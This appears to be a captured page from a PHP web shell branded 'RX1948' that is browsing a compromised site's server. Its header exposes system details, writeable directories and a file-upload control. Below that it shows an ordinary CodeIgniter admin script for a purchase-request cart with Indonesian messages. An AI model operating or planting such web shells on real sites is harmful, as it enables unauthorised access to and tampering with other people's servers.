https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/views/admin/pembelian_request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/views/admin/pembelian_request/pagejs.php
<script src="<?= base_url('assets/admin/js/sweetalert.min.js'); ?>" type="text/javascript"></script>
<script src="<?= base_url('assets/admin/js/bootstrap-select.min.js'); ?>"></script>
<script type="text/javascript">
$(document).ready(function() {
    $("#btnSubmit").hide();

    <?php if($this->uri->segment(3) == 'request_edit'){ ?>
        $.ajax({url:"<?php echo base_url('admin/pembelian/showcart'); ?>",type:"POST",start:$("tbody").html("Loading . . . ."),data:{status:"<?= $transaction->transaction_status; ?>","<?= $this->security->get_csrf_token_name(); ?>":"<?= $this->security->get_csrf_hash(); ?>"},success:function(t){if("error"==t)return swal("Oooops!","Telah terjadi kesalahan!","error"),!1;$("tbody").html(t)}});
    <?php } ?>

    $("#primaryForm").submit(function(){return null==$("#sctWarehouse").val()?(swal("Oooops!","Silahkan pilih warehouse!","error"),!1):""==$("tbody").html()?(swal("Oooops!","Keranjang masih kosong!","error"),!1):void 0}),$(".addProducts").click(function(){$("#myModal").modal({backdrop:"static",keyboard:!1})});$('#resetCart').click(function(){swal({title: "Konfirmasi!",text: "Apakah kamu yakin akan manghapus seluruh data ?",icon: "warning",buttons: true,dangerMode: true,}).then((willDelete) => {if (willDelete){$.ajax({'url'       : '<?php echo base_url('admin/pembelian/emptycart'); ?>', 'type'      : 'POST','data'      : { '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>' }});$('tbody').html('');$('#btnAddProduct').show();$('#popupForm').attr('data-action', 'addToCart');swal("Success!", "Seluruh product telah terhapus", "success");}});});$("#btnReset").click(function(){$("#popupForm").trigger("reset"),$("#productId").val(""),$("#productId").selectpicker("refresh"),$("#btnSubmit").hide(),$("#unitSelling").html('<option value="" selected="" disabled="">Satuan Jual</option>'),$("#unitPurchase").html('<option value="" selected="" disabled="">Satuan Beli</option>'),$(".stnJual").html("unit"),$(".stnBeli").html("unit")}),$(".modal .myclose").click(function(){$("#popupForm").attr("data-action","addToCart"),$("#popupForm").trigger("reset"),$("#productId").val(""),$("#productId").removeAttr("disabled"),$("#productId").selectpicker("refresh"),$("#btnSubmit").hide(),$("#unitSelling").html('<option value="" selected="" disabled="">Satuan Jual</option>'),$("#unitPurchase").html('<option value="" selected="" disabled="">Satuan Beli</option>'),$(".stnJual").html("unit"),$(".stnBeli").html("unit")});$("#qtySelling").on("change",function(){var t=parseInt($(this).val());t===parseInt(t,10)?0!==t?$("#btnSubmit").show():$("#btnSubmit").hide():$("#msg").html("Data tidak valid")});

    $('#btnSubmit').click(function(){
        var action = $("#popupForm").attr('data-action');
        var productId       = $('#productId').val();
        var unitSelling     = $('#unitSelling').val();
        var qtySelling      = $('#qtySelling').val();
        var Last90D         = $('#Last90D').val();
        var isStock         = $('#isStock').val();
        var idunitPurchase    = $('#unitPurchase').val();
        var unitPurchase    = $('#unitPurchase option:selected').attr('data-name');
        var qtyPurchase     = $('#qtyPurchase').val();
        $('#msg').html('');
        $('#msg1').html('');

        if(qtyPurchase == '0'){
            $('#msg').html('Data tidak boleh kosong');
            return false;
        }

        if(productId == null){
            $('#msg1').html('Silahkan pilih product.');
            return false;
        }

        if(action == 'addToCart'){
            $.ajax({
                'url'       : '<?php echo base_url('admin/pembelian/addtocart'); ?>', 
                'type'      : 'POST',
                'data'      : {
                                'productId' : productId,
                                'unitSelling' : unitSelling,
                                'qtySelling' : qtySelling,
                                'Last90D' : Last90D,
                                'isStock' : isStock,
                                'idunitPurchase' : idunitPurchase,
                                'unitPurchase' : unitPurchase,
                                'qtyPurchase' : qtyPurchase,
                                '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
                                }, 
                'success'   : function(result) {
                    if(result == "error"){ 
                        swal("Oooops!", "Telah terjadi kesalahan!", "error");
                        return false;
                    }

                    $('tbody').html(result);
                    $('.modal .myclose').click();
                    //swal("Success!", "Product berhasil ditambahkan", "success");
                }
            });
        } else {
            var farid     = $('#popupForm').attr('data-id');
            $.ajax({
                'url'       : '<?php echo base_url('admin/pembelian/updatecart'); ?>', 
                'type'      : 'POST',
                'data'      : {
                                'farid' : farid,
                                'productId' : productId,
                                'unitSelling' : unitSelling,
                                'qtySelling' : qtySelling,
                                'Last90D' : Last90D,
                                'isStock' : isStock,
                                'idunitPurchase' : idunitPurchase,
                                'unitPurchase' : unitPurchase,
                                'qtyPurchase' : qtyPurchase,
                                '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
                                }, 
                'success'   : function(result) {
                    if(result == "error"){ 
                        swal("Oooops!", "Telah terjadi kesalahan!", "error");
                        return false;
                    }

                    $('tbody').html(result);
                    $('.modal .myclose').click();
                }
            });
        }
    });

    $('#sctWarehouse').change(function() {
        console.log($('tbody').html());
        if($('tbody').html() == ''){
            $data = $(this).val();
            if($data == '0'){
                $('#btnAddProduct').hide();
            } else {
                $('#btnAddProduct').show();
                $('#popupForm').attr('data-action', 'addToCart');
            }
        } else {
            swal({
              title: "Konfirmasi!",
              text: "Apakah kamu yakin akan mangganti warehouse ?",
              icon: "warning",
              buttons: true,
              dangerMode: true,
            })
            .then((willDelete) => {
              if (willDelete) 
              {
                $data = $(this).val();
                if($data == '0'){
                    $('#btnAddProduct').hide();
                } else {
                    $.ajax({
                        'url'       : '<?php echo base_url('admin/pembelian/emptycart'); ?>', 
                        'type'      : 'POST',
                        'data'      : { '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>' }
                    });

                    $('tbody').html('');

                    $('#btnAddProduct').show();
                    $('#popupForm').attr('data-action', 'addToCart');
                }     
              }
            });
        }
    });
    /*get product unit covertion and stock*/
    $('#unitPurchase').change(function() {
        $('.stnBeli').html($(this).find(":selected").attr('data-name'));
        $.ajax({
            'url'       : '<?php echo base_url('admin/pembelian/ajax_get_unit_convertion_result_request'); ?>', 
            'type'      : 'POST',
            'data'      : {
                            'id_uc' : $(this).val(),
                            'qtybeli' : $('#qtyPurchase').val(),
                            '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
                            }, 
            'success'   : function(result) {
                if (result) { 
                    $('#qtySelling').val(result).trigger("change");
                };
            }
        });
        return false;
    });

    $('#qtyPurchase').change(function(){
        var data = parseInt($(this).val());
        $("#btnSubmit").hide();
        if (data === parseInt(data, 10)){
            if($(this).val() == 0){
                $('#msg').html('Data tidak dapat dikirim');
                 $("#btnSubmit").hide();
                return false;
            }

            $('#msg').html('');
            $.ajax({
                'url'       : '<?php echo base_url('admin/pembelian/ajax_get_unit_convertion_result_request'); ?>', 
                'type'      : 'POST',
                'data'      : {
                                'id_uc' : $('#unitPurchase').val(),
                                'qtybeli' : $(this).val(),
                                '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
                                }, 
                'success'   : function(result) {
                    if (result) { 
                        $('#qtySelling').val(result).trigger("change");
                    };
                }
            });
        } else {
            $('#msg').html('Data tidak valid');
        }
        
        return false;
    });

    $('.sctProduct').change(function() {
        var id_product      = $(this).val();
        var id_warehouse    = $('#sctWarehouse').val();

        $.ajax({
            'url'       : '<?php echo base_url('admin/pembelian/ajax_get_unit'); ?>', 
            'type'      : 'POST',
            'data'      : {
                            'id_product' : id_product,
                            'id_warehouse' : id_warehouse,
                            '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
                        }, 
            'success'   : function(data) {
                var result = JSON.parse(data);
                if (result.hasil) {
                    $('#qtyPurchase').val('0');
                    $('#qtyPurchase').removeAttr('readonly');
                    $('#qtySelling').val('0').trigger("change");
                    $('#unitSelling').html(result.convertion_beli);
                    $('.stnJual').html(result.convertion_beli);
                    $('#unitPurchase').html(result.convertion_jual);
                    $('.stnBeli').html($('#unitPurchase').find(":selected").attr('data-name'));

                    if(result.stock == '0'){
                        $('#isStock').val(result.stock);
                        $('#isStock').attr('readonly','readonly');
                    } else {
                        $('#isStock').val(result.stock);
                        $('#isStock').removeAttr('readonly');
                    }
                };
            }
        });
    });
});
</script>

https://t.me/RX1948 - 2025